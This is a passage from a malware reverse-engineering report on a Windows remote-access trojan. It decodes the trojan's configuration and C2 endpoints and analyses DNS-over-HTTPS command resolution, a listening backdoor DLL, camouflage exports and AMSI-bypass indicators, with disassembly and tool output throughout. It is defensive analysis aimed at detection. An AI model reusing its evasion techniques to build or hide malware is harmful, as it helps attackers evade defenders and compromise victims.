11f. Configuration values, now resolved. The container stores each setting as a three-record group, not one record: 16052 = key name, 16053 = type tag, 16054 = value. Earlier passes searched inside the name record for a value that was never there, which is why these read as “not decoded” until the layout was understood. Type tags are 17000 string, 17001 int, 17002 bool, 17006 dictionary.

Key Type Value
campaign string first
lsdb_save_path string {localappdata}\RTProject\rtc.bin
lsdb_save_delay_seconds int 200
registryAutorunValue / shedulerAutorunValue string SPSS WinWrap Basic IDE 27.4
is_marketing_notify bool 0
is_tosend_firstlaunch_screenshot bool 1 — enabled
enable_acs_onstart bool 1 — enabled
is_vmcheck bool 1 — enabled
gate_connect_period_seconds int 600
gate_connected_duration_seconds int 90
gate_failed_reconnect_delay_seconds int 60
gate_keep_alive_duration_seconds int 90
vmdetect_sleep_seconds int not recoverable from this container — see below; 660 is a different build’s value

gate_list (type 17006) expands to paired 16072/16073 records — triotmelon.com/443 and 144.124.242.171/443 — independently confirming §11b’s finding that host and port are separate fields rather than a combined host:port string.

Note the first boolean is is_marketing_notify, not notify; earlier passes truncated the name.

vmdetect_sleep_seconds is not recovered, and the reason is a decode defect at the container’s final field. The record decodes to 6293595036912670147 = 0x57575757575755c3 — six repeating 0x57 bytes above a plausible low word.

The container itself is not truncated: its header declares entries = 1557 and the dump holds exactly 1557, and the container extent (0x15cc3a + 0x25294 = 0x181ece) ends 220 bytes before the file does. So this is the last field of a complete structure decoding wrongly, not a short read — the keystream is not being terminated at the final field boundary.

Those 220 trailing bytes are themselves accounted for, and they narrow the defect further. They hold four more per-field XOR records under the ordinary scheme — 0x181ed6 (registryAutorunValue), 0x181f06 (SPSS WinWrap Basic IDE 27.4), 0x181f44 (shedulerAutorunValue), 0x181f74 (SPSS WinWrap Basic IDE 27.4) — all four already decoded in the table above, and the file ends at 0x181faa with no residue. Since everything from 0x181ed6 onward decodes cleanly, the keystream is not failing at the container edge in general: the fault is confined to entry 1557’s value field specifically. These records also resolve the two resource names the §5 persistence script dereferences (@registryAutorunValue, @shedulerAutorunValue) but never defines, which is the independent confirmation that the autorun entry is named after the signed WinWrap IDE the bundle side-loads (§6a).

The value is distinguishable from the format’s legitimate large integers by structure rather than by magnitude, which is what makes it identifiable. 282 records carry 64-bit values (the 16051 container-ID fields are normally high-entropy), and sampling them shows no repeating-byte runs: 0x6502dbc5b949619c, 0x682ea666372c3346, 0x388d1fdeca4ae2f5. Against those 281 controls, 0x5757575757 is the sole outlier. An earlier draft of this note claimed it was the only implausible value by magnitude; that was wrong — large values are ordinary here, and magnitude alone would not have flagged it.

Two further structural facts make this a bounded negative rather than an open gap — the field is not merely unrecovered here, it is unrecoverable from this artefact, and both were confirmed independently by a second analyst working from their own dump.

First, the failure is localised to the final eight bytes, not to the record. This setting occupies three records, and the other two decode cleanly: the name record (16052, 'vmdetect_sleep_seconds') and the type tag (16053 = 17001, int). Only the value record (16054) is corrupt. A mis-derived per-record key would have broken all three, so the key schedule is correct up to the last field and fails only at the container’s end.

Second, every well-formed integer setting in the container is a small round number. There are exactly six len=8 value records in the whole structure. Five decode to 200, 600, 90, 60, 90. The sixth is this one — and it is also the last record in the container, entry 1557 of 1557. The one value that is neither small nor round is the one sitting at the boundary where the keystream runs out. Note the contrast is with the adjacent type tag 17001, stored as 69 42 00 00 00 00 00 00: a small integer in this format has zero high bytes by construction, so six repeating 0x57 where zeros are structurally required is positive evidence of keystream rather than a mere implausibility judgement.

This also disposes of every truncation of the value. Taking the low 1, 2, 3 or 4 bytes yields 195, 21955, 5723587, 1465341379. Since the true field boundary is unknown, each is a guess with a derivation’s appearance — and 195 in particular is a superficially plausible sleep interval, which is exactly what makes it dangerous.

Recorded as unrecovered rather than reported. A keystream artefact presented as a sleep interval would be a fabricated value with a plausible shape — and the uploader blob independently gives 660 for a different build, so nothing operational rests on it. Two independent container dumps by two analysts have now failed on this field for the same structural reason; that reason is a finding, not a gap.

The persistence names here independently reproduce the values recovered from the load.db string resources in §4 by a completely different decode path — two readings of the same configuration from opposite ends of the chain, in agreement. That mutual corroboration is the strongest validation available for either.

Numeric and boolean values sit in 17/24-byte binary records under a different encoding and were not decoded (timing and behaviour tuning only; they do not affect the endpoints). This negative is bounded, not bare — the record layout and the exclusions below say which directions are dead, so the next reader does not repeat them.

Record layout (offset from the end of each key name): a 2-byte header, then a 6-byte run of a single repeated filler byte differing per record (0x7a, 0xdc, 0xb6, 0x62, 0xc9, 0x32, 0xa4, 0x54, 0x78), then for numeric fields a second filler run and an 8-byte high-entropy tail. Boolean records are 17 bytes, numeric records 24.

Two recovery routes are ruled out by structural constraint:

  1. Not UTF-16LE under any key. The key-name scheme (§11b) works because UTF-16LE ASCII has constant 0x00 high bytes, so the ciphertext’s repeating high byte is the key. In these value tails the odd-position bytes take four distinct values in all five numeric records — the constraint that makes the name scheme self-verifying is absent. The values are therefore not stored under the same encoding as the names.

  2. Not flat-XORed decimal text. Sweeping all 256 keys over each tail yields zero fully-numeric strings, and the exclusion has margin: requiring only the first two bytes to be digits already gives zero keys in all five records (as do 3- and 4-byte prefixes).

    A single-position digit test is worthless here and it is worth saying why. Exactly 10 of 256 keys map any given byte into 09 — for any byte, always, since XOR is a bijection on the key for fixed plaintext (verified across random bytes). A leading-digit test therefore cannot return anything other than 10; it has no discriminating power by construction. That it returned 10 here is arithmetic, not evidence. The real result is the two-byte-and-longer figure of zero.

A false positive worth recording, because it nearly shipped. A key-search selector of the form “try all 256 keys, keep the longest printable run” returns 90 / 90 / 90 / 60 seconds across the four gate-timing fields — semantically perfect for connect period, connected duration, keep-alive and reconnect backoff. It is an artefact. Against a single output byte, 256 keys give 256 chances to produce a printable character, so such a search almost always succeeds; the plausibility came from the field names, not from the bytes. Re-deriving at a fixed structural position instead of by key search gives 236 / 229 / 213 / 175 — no structure, and boolean fields holding 236 and 213 is nonsense. An earlier attempt here produced a uniform 'B' for every field by the same route: one key latched onto and carried across records.

Generalisation. When a decode’s credibility rests on its output matching field semantics rather than on a structural constraint in the bytes, the field names are doing the work and the bytes are not. This is the same failure class as Corrections item 16 (0xa787 decoding to case-inverted but readable text): a decode that fails into well-formed output defeats eyeball review, and semantic tidiness is precisely what a reviewer checks. Pair it with item 19 — a converged negative deserves more scepticism, and so does a suspiciously tidy positive.

What would actually recover these values: the settings parser — the code consuming these records — not further work on the container bytes. The repeated filler byte was tested directly as a candidate key and is not one.

The full key space, verified in offsets. Every key name in the container was recovered by the same self-verifying method as §11b (the key is the high byte of the string’s own first UTF-16LE unit), giving the complete enumeration below. Unlike the values, the names decode cleanly and unambiguously:

Offset Key Field
0x181c00 0xa6 notify
0x181c1d 0x3b is_tosend_firstlaunch_screenshot
0x181c6e 0x84 enable_acs_onstart
0x181ca3 0xc4 gate_connect_period_seconds
0x181cf1 0x2e gate_connected_duration_seconds
0x181d47 0x61 gate_failed_reconnect_delay_seconds
0x181da5 0x4c gate_keep_alive_duration_seconds
0x181dfd 0xaf gate_list
0x181e17 0x91 triotmelon.com (host, gate 1)
0x181e33 0xe7 443 (port, gate 1)
0x181e3d 0xf0 144.124.242.171 (host, gate 2)
0x181e5b 0xfb 443 (port, gate 2)
0x181e6d 0x9a is_vmcheck
0x181e92 0x83 vmdetect_sleep_seconds
0x181ed6 0x69 registryAutorunValue
0x181f06 0x7f SPSS WinWrap Basic IDE 27.4
0x181f44 0xbe shedulerAutorunValue
0x181f74 0x47 SPSS WinWrap Basic IDE 27.4

Note that the ports are independent keyed fields, not substrings of the host entries — each carries its own XOR key. An earlier reading that treated host:port as one field would mis-derive any signature built on it.

Three of these field names — is_tosend_firstlaunch_screenshot, enable_acs_onstart and gate_keep_alive_duration_seconds — are unusual enough to serve as content signatures in their own right (see Detection Opportunities). is_tosend_firstlaunch_screenshot is also a behavioural disclosure: the sample is configured to exfiltrate a screenshot on first launch.

11g. Detection consequence. The IP gate is DNS-independent: blocking or monitoring DoH does not sever C2. Both endpoints must be blocked directly. There is Medium-confidence evidence the port-443 traffic is not TLS (raw socket plus a custom handshake, with no TLS setup visible) — if confirmed, non-TLS traffic on 443 to these endpoints is itself a high-quality detection opportunity.

12. DNS-over-HTTPS C2 resolution (High, High confidence)

Whatever domain the configuration supplies is resolved over DoH, not through the system resolver. FUN_00067df0(obj, char provider) selects among three public resolvers by index:

Index Provider
0 cloudflare-dns.com
1 dns.google (the default — FUN_00067a08 calls with 1)
2 dns.quad9.net

The provider selection is a three-way comparison on the function’s second argument, which arrives in dl and is spilled to [rsp + 0x20]:

$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x680f8; pd 26' load_db_stage3.bin
0x0006810a      7410           je 0x6811c              ; provider == 0
0x0006810c      807c242001     cmp byte [rsp + 0x20], 1
0x00068111      7418           je 0x6812b              ; provider == 1
0x00068113      807c242002     cmp byte [rsp + 0x20], 2
0x00068118      7420           je 0x6813a              ; provider == 2
0x0006811a      eb2d           jmp 0x68149             ; default path
0x0006811c      488d842448..   lea rax, [rsp + 0x148]  ; -> cloudflare-dns.com
0x00068124      4889442428     mov qword [rsp + 0x28], rax
0x00068129      eb53           jmp 0x6817e
0x0006812b      488d8424f8..   lea rax, [rsp + 0xf8]   ; -> dns.google
0x00068133      4889442428     mov qword [rsp + 0x28], rax
0x00068138      eb44           jmp 0x6817e
0x0006813a      488d842428..   lea rax, [rsp + 0x128]  ; -> dns.quad9.net
0x00068142      4889442428     mov qword [rsp + 0x28], rax

Each lea points at a stack buffer built earlier in the same function by three consecutive LCG stack-string sites at 0x067e39, 0x067f3e and 0x067ff3 — the three provider hostnames, in that order. The first of them decodes as follows, using the §8 scheme:

0x00067e39  48b8e8d0f4..   movabs rax, 0x5621401945f4d0e8
0x00067e48  b882a10000     mov eax, 0xa182     ^ ks0 = 'c'
0x00067e52  b833fe0000     mov eax, 0xfe33     ^ ks1 = 'l'
0x00067e5c  b8aae40000     mov eax, 0xe4aa     ^ ks2 = 'o'
0x00067e66  b8863b0000     mov eax, 0x3b86     ...            -> "cloudflare-dns.com"

The default is index 1, dns.google, established at the call site rather than inferred — FUN_00067a08 loads dl immediately before the call:

0x00067dd1      c6404001       mov byte [rax + 0x40], 1
0x00067dd5      b201           mov dl, 1            ; provider = 1 (dns.google)
0x00067ddf      e80c000000     call 0x67df0

Note the entry prologue mov byte [rsp + 0x10], dl at 0x00067df0 confirms the second argument is the single-byte provider selector, matching the FUN_00067df0(obj, char provider) prototype given above.

Requests are POST to /dns-query with Content-Type: application/dns-message and Accept: application/dns-message, over winhttp.dll. The session is opened by WinHttpOpen with a Chrome-like User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...) followed by WinHttpSetOption(0x85, ...) to set secure protocols.

The surrounding code is a complete general-purpose DNS client — Punycode conversion (Failed to convert domain to Punycode) and the full RCODE table (Format error, Server failure, NXDOMAIN, Not implemented, Refused, Truncated, Transaction ID mismatch, No IP addresses found).

No DGA (High confidence). The gate iteration at FUN_000d50e0 walks a static table (FUN_00067078 is a fixed-stride index, idx*0x40 + base); the host comes from the settings container (§11), not from generation. There is no charset, seed table, or TLD list. The resolver is a general-purpose library that resolves whatever domain it is handed — and here it is handed triotmelon.com.

The chain is now closed end to end: gate_list (§11) → communicator::add_gate → gate table at ctx+0x68FUN_000d50e0 iterate → FUN_000d553c (writes host to ctx+0xb8, port to ctx+0xe8) → FUN_000d5378 DoH resolve → connect. The status formatter FUN_000dbaac (§11e, previously misread) renders those same fields as Current Gate Host: / Current Gate Port: — confirming they are the live gate values, though the labels themselves remain UI text.

One join is weaker than the rest: the native function the script interpreter dispatches communicator::add_gate to was not resolved. The link from script to gate table rests on semantic correspondence — same operation, same host/port pairing, same config source — so “the RAT connects to these endpoints” is High confidence, while “via this exact native dispatch path” is Medium.

Operationally, the significance is independent of where the domain comes from: C2 lookups never reach the local DNS server, so they do not appear in DNS query logs and are not stopped by DNS-based blocklists or sinkholes.

13. usbraw.dll — a bind-listen backdoor (High, High confidence)

Export EstablishTcpListenerSession @ 0x3ab2662d8 follows the sequence WSAStartupsockethtonsinet_ptonbindlistenclosesocket:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 \
     -c 'aaa; s 0x3ab2662d8; pdf' usbraw.dll

0x3ab266309  4885c9         test rcx, rcx        ; arg1
0x3ab26630c  0f84ed130000   je 0x3ab2676ff       ; -- all four null-checks
0x3ab266312  4885d2         test rdx, rdx        ; arg2 = address string
0x3ab266315  0f84e4130000   je 0x3ab2676ff       ;    share one exit
0x3ab26631b  664585c0       test r8w, r8w        ; arg3 = port (16-bit)
0x3ab26631f  0f84da130000   je 0x3ab2676ff
0x3ab266325  4885ed         test rbp, rbp        ; arg4
0x3ab266328  0f84d1130000   je 0x3ab2676ff
...
0x3ab2666b8  b902020000     mov ecx, 0x202       ; WSAStartup(2.2)
0x3ab266705  ff159dd00000   call qword [sym.imp.WS2_32.dll_WSAStartup]
0x3ab26677c  ba01000000     mov edx, 1           ; SOCK_STREAM
0x3ab266781  b902000000     mov ecx, 2           ; AF_INET
0x3ab266786  ff154cd00000   call qword [sym.imp.WS2_32.dll_socket]
0x3ab2667ac  0fb7cf         movzx ecx, di        ; the caller's port
0x3ab2667c3  ff15f7cf0000   call qword [sym.imp.WS2_32.dll_htons]

The import table settles the network posture without reading any code. The module’s complete WS2_32 import set is:

$ rabin2 -i usbraw.dll | grep WS2_32
1   0x3ab273798 NONE FUNC WS2_32.dll   WSACleanup
2   0x3ab2737a0 NONE FUNC WS2_32.dll   WSACloseEvent
3   0x3ab2737a8 NONE FUNC WS2_32.dll   WSAStartup
4   0x3ab2737b0 NONE FUNC WS2_32.dll   bind
5   0x3ab2737b8 NONE FUNC WS2_32.dll   closesocket
6   0x3ab2737c0 NONE FUNC WS2_32.dll   htons
7   0x3ab2737c8 NONE FUNC WS2_32.dll   inet_pton
8   0x3ab2737d0 NONE FUNC WS2_32.dll   listen
9   0x3ab2737d8 NONE FUNC WS2_32.dll   socket

Nine entries, containing bind and listen but no connect — and no accept, send or recv either. This is therefore a listener the operator dials into, not a reverse-connect channel: a materially different network posture from the DoH path in §12, and one that requires inbound reachability. Because the set is exhaustive rather than sampled, the absence of connect is a bounded negative over this module’s entire Winsock surface — though note it bounds statically imported names only, and would not cover a socket API resolved dynamically at runtime.

Both endpoint components are parameters, not constants: arg2 (rdx) is the address string passed to inet_pton, and arg3 (r8w) is tested as a 16-bit value and passed to htons — the port. The function null-checks all four arguments and returns early if any is zero.

The module also imports WINMM.dll!mciSendCommandW and exports AllocateWaveInCircularBuffer, indicating microphone capture alongside the network listener.

14. Camouflage exports and mixed-mode assemblies (Medium, High confidence)

PkSql1.dll and HTS25.dll are C++/CLI mixed-mode assemblies — their mscoree import is genuine, not a radare2 misparse, and both carry a full <CrtImplementationDetails> managed initialisation surface. Note the analysis consequence: because the PE header declares a CLR runtime, rabin2 -I reports arch cil, and radare2 will disassemble their x86-64 code as CIL and emit nonsense unless the architecture is forced. Every listing in this report was produced with -e asm.arch=x86 -e asm.bits=64, and any attempt to reproduce them without those flags will not match.

$ rabin2 -I PkSql1.dll | egrep 'arch|bits|lang|signed'
arch     cil
bits     64
lang     msvc
signed   false

$ rabin2 -I HTS25.dll | egrep 'arch|bits|lang|signed'
arch     cil
bits     64
lang     msvc
signed   false

$ rabin2 -I usbraw.dll | egrep 'arch|bits|lang|signed'
arch     x86
bits     64
lang     c++
signed   false

All three attacker modules are unsigned, against a bundle whose legitimate components are signed — the single cheapest triage discriminator in the file set.

The camouflage is functional, not hollow

The export names are themed as graphics, print and multimedia routines so that an analyst skimming the export table sees a plausible support library. The important and non-obvious result is that these are not empty stubs. Each one is a real, substantial implementation of the operation its name advertises, reaching exactly the Win32 APIs that operation would require:

$ # imports reached by each HTS25.dll camouflage export (indirect calls resolved)
0x180002250  BindUdpMulticastGroup         GDI32!CreatePen, CreateSolidBrush, DeleteObject, Ellipse,
                                           LineTo, MoveToEx, SelectObject; KERNEL32!GetTickCount;
                                           USER32!FillRect
0x1800043d8  CreateOleStorageSnapshot      GDI32!CreatePen, CreateSolidBrush, DeleteObject, Rectangle,
                                           SelectObject; ole32!CoCreateGuid; USER32!FillRect, GetDC,
                                           GetDesktopWindow, ReleaseDC
0x180004e9c  DrawBezierRibbonPath          GDI32!CreatePen, CreateSolidBrush, DeleteObject,
                                           IntersectClipRect, Polyline, SelectObject; USER32!FillRect
0x180002e94  SerializeClipboardImageChain  GDI32!CreateBitmap, CreatePen, CreateSolidBrush, DeleteObject,
                                           Rectangle, SelectObject; KERNEL32!GlobalAlloc, GlobalLock,
                                           GlobalUnlock
0x180003b48  SpoolVectorPrintJob           GDI32!CreatePen, DeleteObject, EndDoc, EndPage, Polyline,
                                           SelectObject, StartDocW, StartPage

SpoolVectorPrintJob really does drive a print job through the StartDocW/StartPage/EndPage/EndDoc sequence; SerializeClipboardImageChain really does build a bitmap and move it through GlobalAlloc/GlobalLock. RenderGradientMeshOverlay @ 0x1800016cc is a 2,847-byte function that computes mesh geometry via sinf/cosf from api-ms-win-crt-math-l1-1-0:

0x1800016cc      488bc4         mov rax, rsp
0x1800016cf      48895820       mov qword [rax + 0x20], rbx
...
0x1800016e5      4881ec5003..   sub rsp, 0x350
0x1800016ec      0f2970b8       movaps xmmword [rax - 0x48], xmm6
...                                       (xmm6-xmm15 all preserved)
0x18000172e      488b05cb68..   mov rax, qword [section..data]
0x180001735      4833c4         xor rax, rsp        ; /GS stack cookie

A 0x350-byte frame, ten preserved XMM registers and a stack cookie is the signature of genuine floating-point graphics code, not of a placeholder.

The same holds in PkSql1.dll:

0x180002404  BuildSplineControlMesh       GDI32!CreatePen, CreateSolidBrush, DeleteObject, Ellipse,
                                          IntersectClipRect, Polyline, SelectObject
0x180001984  ComposeMultiLayerCanvas      GDI32!BitBlt, CreateCompatibleBitmap, CreateCompatibleDC,
                                          CreatePen, CreateSolidBrush, DeleteDC, DeleteObject, Polygon,
                                          Polyline, Rectangle, SelectObject; USER32!FillRect
0x180004470  EnumerateComMonikerBindings  ole32!CoCreateGuid, MkParseDisplayName; GDI32!* ; USER32!GetDC,
                                          GetDesktopWindow, ReleaseDC; wcscpy_s
0x180005200  RasterizeGlyphOutlineBatch   GDI32!CreateFontIndirectW, GetGlyphOutlineW, GetTextMetricsW,
                                          CreatePen, CreateSolidBrush, DeleteObject, Polyline,
                                          SelectObject; USER32!FillRect
0x180003a50  SetupWaveOutRingBuffer       WINMM!waveOutGetNumDevs, waveOutOpen, waveOutPrepareHeader,
                                          waveOutWrite; GDI32!*; USER32!GetClientRect, GetDC, ReleaseDC

EnumerateComMonikerBindings genuinely calls MkParseDisplayName; RasterizeGlyphOutlineBatch genuinely calls GetGlyphOutlineW. This is filler built to survive inspection, and it raises the cost of triage-by-export-name considerably: an analyst who spot-checks one export body and finds real graphics code may conclude the module is benign.

The discriminator that does work

Import reach separates the two classes cleanly. The camouflage exports reach only GDI32/USER32/ole32/WINMM drawing and device APIs. The malicious exports reach loader, memory and cryptographic APIs that no drawing routine needs:

$ # PkSql1!OptimizeTextCard @ 0x1800014f4 — the real entry point
KERNEL32!LoadLibraryW, GetModuleFileNameW, CreateEventW, WaitForSingleObject, ExitThread
HTS25!Accuracy, HTS25!LoadDatabase
COMCTL32!InitCommonControlsEx ; gdiplus!GdiplusStartup ; SDL3!SDL_* (window/render)

$ # HTS25!Accuracy @ 0x180001418
KERNEL32!VirtualAlloc            <- RWX allocation
bcrypt!BCryptGenRandom           <- entropy flood
SDL3!SDL_* (window/render)

$ # HTS25!LoadDatabase @ 0x180001668
KERNEL32!EnumSystemCodePagesW    <- the control transfer
SDL3!SDL_CreateEnvironment, SDL_GetEnvironmentVariable(s), SDL_DestroyEnvironment, SDL_free

$ # HTS25!ToUnbind @ 0x180001390
USER32!GetDesktopWindow, GetTopWindow, GetWindow, GetWindowThreadProcessId,
       IsWindowVisible, ShowWindow     <- window enumeration / hiding

VirtualAlloc beside BCryptGenRandom, and EnumSystemCodePagesW in a routine named LoadDatabase, are the two rows that give the modules away. Note also that the malicious exports are the lowest-addressed ones in both modules (0x1800013900x180001668 in HTS25, 0x1800014f4 in PkSql1), with all camouflage bodies laid out above them — consistent with the attacker’s code being compiled first and the filler appended.

ToUnbind’s import set is worth flagging on its own: GetDesktopWindowGetTopWindowGetWindowIsWindowVisibleShowWindow is a window enumeration-and-hide loop, which is consistent with the export’s role in suppressing the visible SDL window the loader creates.

Full export inventory

DLL Real exports Camouflage exports
PkSql1.dll OptimizeTextCard BuildSplineControlMesh, ComposeMultiLayerCanvas, EnumerateComMonikerBindings, FlushParticleEmitterField, RasterizeGlyphOutlineBatch, SetupWaveOutRingBuffer
HTS25.dll LoadDatabase, Accuracy, ToUnbind BindUdpMulticastGroup, CreateOleStorageSnapshot, DrawBezierRibbonPath, RenderGradientMeshOverlay, SerializeClipboardImageChain, SpoolVectorPrintJob
usbraw.dll EstablishTcpListenerSession, AllocateWaveInCircularBuffer AssembleSpriteAtlasGrid, CodeCategory, DispatchMciNotifyChain, RenderIsoGridProjection
$ rabin2 -E HTS25.dll
1   0x00000818 0x180001418 GLOBAL FUNC 0 HTS25.dll Accuracy
2   0x00001650 0x180002250 GLOBAL FUNC 0 HTS25.dll BindUdpMulticastGroup
3   0x000037d8 0x1800043d8 GLOBAL FUNC 0 HTS25.dll CreateOleStorageSnapshot
4   0x0000429c 0x180004e9c GLOBAL FUNC 0 HTS25.dll DrawBezierRibbonPath
5   0x00000a68 0x180001668 GLOBAL FUNC 0 HTS25.dll LoadDatabase
6   0x00000acc 0x1800016cc GLOBAL FUNC 0 HTS25.dll RenderGradientMeshOverlay
7   0x00002294 0x180002e94 GLOBAL FUNC 0 HTS25.dll SerializeClipboardImageChain
8   0x00002f48 0x180003b48 GLOBAL FUNC 0 HTS25.dll SpoolVectorPrintJob
9   0x00000790 0x180001390 GLOBAL FUNC 0 HTS25.dll ToUnbind

PkSql1!FlushParticleEmitterField @ 0x180002e20 — resolved. This export was previously the one gap in the table above: pdf returns empty for it despite afi reporting a 14,541-byte function, and a linear pD overran into the adjacent SetupWaveOutRingBuffer body, so its imports could not be attributed. The cause is now established and is not a radare2 failure — the function is non-contiguous:

addr: 0x180002e20
size: 14541          <- address span, 0x180002e20 - 0x1800066ed
realsz: 3019         <- actual instruction bytes
is-lineal: false     <- blocks are NOT laid out contiguously
num-bbs: 115
cyclomatic-complexity: 60

size is the span between the lowest and highest block, not the code length. The 115 basic blocks hold 3,019 bytes scattered through a 14.5 KB range, with other functions interleaved in the gaps — which is exactly why a linear read overruns and why size alone is a misleading measure of how much code is here.

Disassembling the 115 blocks individually (rather than the address range) yields 810 instructions and 51 call sites. The direct import set:

GDI32.dll_CreatePen        GDI32.dll_Ellipse        GDI32.dll_Polyline
GDI32.dll_CreateSolidBrush GDI32.dll_SelectObject   GDI32.dll_DeleteObject
USER32.dll_FillRect        MSVCP140.dll___Xlength_error_std__YAXPEBD_Z
api_ms_win_crt_math_l1_1_0.dll_sqrtf

This is 2-D vector rendering — pens, brushes, polylines, ellipses, filled rects, with sqrtf for geometry — consistent with every other camouflage export and with the name.

The negative was checked transitively, not just directly. Twenty of the 51 call sites target internal fcn.* addresses, any of which could have reached the malicious API set indirectly. Walking the callee graph to depth 4 covers 33 functions and returns 18 distinct imports, with zero hits against LoadLibrary, VirtualAlloc, BCryptGenRandom, EnumSystemCodePages, GetProcAddress, VirtualProtect, CreateThread, CreateProcess, WriteProcessMemory or WinExec. The only KERNEL32 imports that appear transitively — RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcess, TerminateProcess — are the standard MSVC /GS stack-cookie failure path, present in any hardened C++ binary, not a capability of this function.

The export is therefore camouflage on the same import-reach discriminator as the other five, at High confidence, rather than on naming and layout position. Its bounded negative is stated with its extent: depth 4 from this seed, direct call fcn.* edges only — indirect/virtual dispatch has no fixed target and is not covered.

The naming is consistent with the filenames themselves — PkSql1, usbraw, HTS25, Graphic.Model.dat — all chosen to blend into a CAD/CNC machine management application’s file set.

15. AMSI bypass indicators (Medium, Medium confidence)

Stage 2 carries LCG-obfuscated references to the Antimalware Scan Interface. Note the per-stage split — only BypassExceptionHandler and ntdll.dll persist into stage 3; the AMSI target library itself appears in stage 2 only:

String Stage 2 Stage 3
amsi.dll 0x018505
BypassExceptionHandler 0x0221f2 0x01abe5
ntdll.dll 0x01af7b 0x008e08
fakeLib not equal 8 symbols 0x01802d

These are genuine decoded values, not strings-dump artefacts. amsi.dll, AmsiScanBuffer and BypassExceptionHandler each occur zero times as ASCII plaintext in either payload_stage2.bin or load_db_stage3.bin; they exist only as output of the LCG stack-string decoder (§7). A defender running an ordinary strings pass over these artefacts will not see them.

The amsi.dll construction site in stage 2 makes both halves of that claim checkable — the string exists, and it exists only as computed words:

$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x18505; pd 11' payload_stage2.bin
0x00018505      48b8651529..   movabs rax, 0x7ba56675fa291565
0x0001850f      4889842410..   mov qword [rsp + 0x210], rax
0x00018517      b8ba2a0000     mov eax, 0x2aba     ^ ks0 = 'a'
0x0001851c      6689842418..   mov word [rsp + 0x218], ax
0x00018524      b87c8f0000     mov eax, 0x8f7c     ^ ks1 = 'm'
0x00018529      668984241a..   mov word [rsp + 0x21a], ax
0x00018531      b8bc290000     mov eax, 0x29bc     ^ ks2 = 's'
0x00018536      668984241c..   mov word [rsp + 0x21c], ax
0x0001853e      b81cb90000     mov eax, 0xb91c     ^ ks3 = 'i'
0x00018543      668984241e..   mov word [rsp + 0x21e], ax
0x0001854b      b8cd280000     mov eax, 0x28cd     ^ ks4 = '.'   -> "amsi.dll"

Stage 2 uses a different LCG seed from stage 3. The seed here is 0x7ba56675fa291565; every stage-3 site in this report uses 0x5621401945f4d0e8 (§8). The keystream derivation and the LCG constants are identical — only the seed differs — so the two stages are the same string-protection implementation re-keyed per stage, not two schemes. Practical consequence for a defender: a decoder or YARA rule anchored on the stage-3 seed will silently recover nothing from stage 2, and the seed is the value to parameterise.

Confirming the plaintext absence directly, across both stages:

$ for s in amsi.dll AmsiScanBuffer BypassExceptionHandler; do
>   grep -ac "$s" payload_stage2.bin load_db_stage3.bin; done
amsi.dll                 stage2=0  stage3=0
AmsiScanBuffer           stage2=0  stage3=0
BypassExceptionHandler   stage2=0  stage3=0

amsi.dll appearing beside ntdll.dll is the conventional shape of an in-process AMSI patch: resolve the module, locate the scan entry point, and overwrite its prologue so scanning returns clean. fakeLib not equal 8 symbols is a diagnostic from module-name spoofing logic — an eight-character name check, consistent with amsi.dll itself.

15a. Two absences, one of which is evidence and one of which is not. The patch primitives an in-process AMSI hook needs — LoadLibrary, GetProcAddress, VirtualProtect, WriteProcessMemory, NtProtectVirtualMemory, AmsiScanBuffer — are absent from the decoded strings of both stages (zero hits either side). That absence is a non-discriminator and must not be cited as evidence about stage 3: stage 2 demonstrably does tamper and is equally missing all six. All it establishes is hash-based API resolution, which is normal for this loader family. It is the same defect as the leading-digit test in §11f — a check that returns the same answer regardless of the truth of what it is testing.

The API-hash table is a different matter, and it does discriminate, because it is demonstrably not blind to this class of API. Stage 3 resolves 449 APIs by hash, including LoadLibraryW (refs=5), GetProcAddress (refs=2) and GetModuleHandleW (refs=2) — and, separately, CreateThread, GlobalAlloc and FreeLibrary. Against that background:

Primitive Stage-3 hash table
VirtualQuery (read-only) present, refs=2
VirtualProtect absent
WriteProcessMemory absent
NtProtectVirtualMemory absent
AmsiScanBuffer absent

A table that resolves the loader trio and thread/heap APIs but no memory-write or page-protection primitive at all is a meaningful negative rather than a gap in coverage. Stage 3 has the means to locate code and none of the means to modify it.

The negative is stronger than a four-name check would show. An exhaustive sweep of every Virtual*, Nt*/Zw* and *Memory* symbol in the table returns exactly six entries — VirtualQuery, RtlCompareMemory, GlobalMemoryStatusEx, WTSFreeMemory, NtQuerySystemInformation, NtUnmapViewOfSection — every one read-only, allocation, or mapping. Across all 449 resolved APIs there is no page-protection or memory-write primitive of any kind. And the table reaches native syscalls, not merely documented Win32: NtUnmapViewOfSection is itself a process-hollowing primitive. So the table is not just non-blind to memory APIs in general, it reaches into the specific offensive-capability class where a patching primitive would live, and still does not contain one.

Limit — this is a one-sided negative. No equivalent hash table has been extracted for stage 2; the artefact does not exist. What is established is that stage 3 lacks the means to modify code. It does not establish a stage-2-versus-stage-3 contrast, because stage 2’s table has never been measured. The sentence a reader will supply unprompted — “stage 2 has these primitives and stage 3 does not” — is unsupported by anything here. Extracting stage 2’s table would close the gap and is the obvious next step (see Assessment Limitations).

The AMSI tampering is located in stage 2, and is not shown to carry into stage 3. amsi.dll and fakeLib not equal 8 symbols appear in payload_stage2.bin only. What persists into stage 3 is BypassExceptionHandler (0x01abe5) and the generic ntdll.dll — an attacker-chosen symbol and a library every Windows binary touches, neither of which names AMSI. Stated explicitly because a summary of these strings as “present in both stages” would imply the bypass is re-applied by the RAT, and the strings do not support that. Whether stage 3 re-patches AMSI is undetermined; the evidence places the tampering at stage 2.

Corroborating this, weakly: stage 3’s ntdll.dll at 0x008e08 sits in a GUI/desktop cluster — Static (0x00eb58), Progman (0x00ede6), Shell_TrayWnd (0x00eeaa), winsta0\default (0x019894, 0x019d96) — rather than near anything patch-shaped, pointing at a different use for that string. Locality in a strings dump is soft evidence and is offered as such, but it points the same way as the hash-table result above, which is not soft.

Confidence is Medium, and the limit is specific. What is established is intent and target: the sample names AMSI, names ntdll, and carries a bypass-handler symbol. What is not established is the patch write itself — the instruction sequence that modifies AMSI’s code was not traced to a call site, so this is not raised to High. Stated as a capability indicator rather than a confirmed technique. Tracing the write is a natural follow-up (see Assessment Limitations).

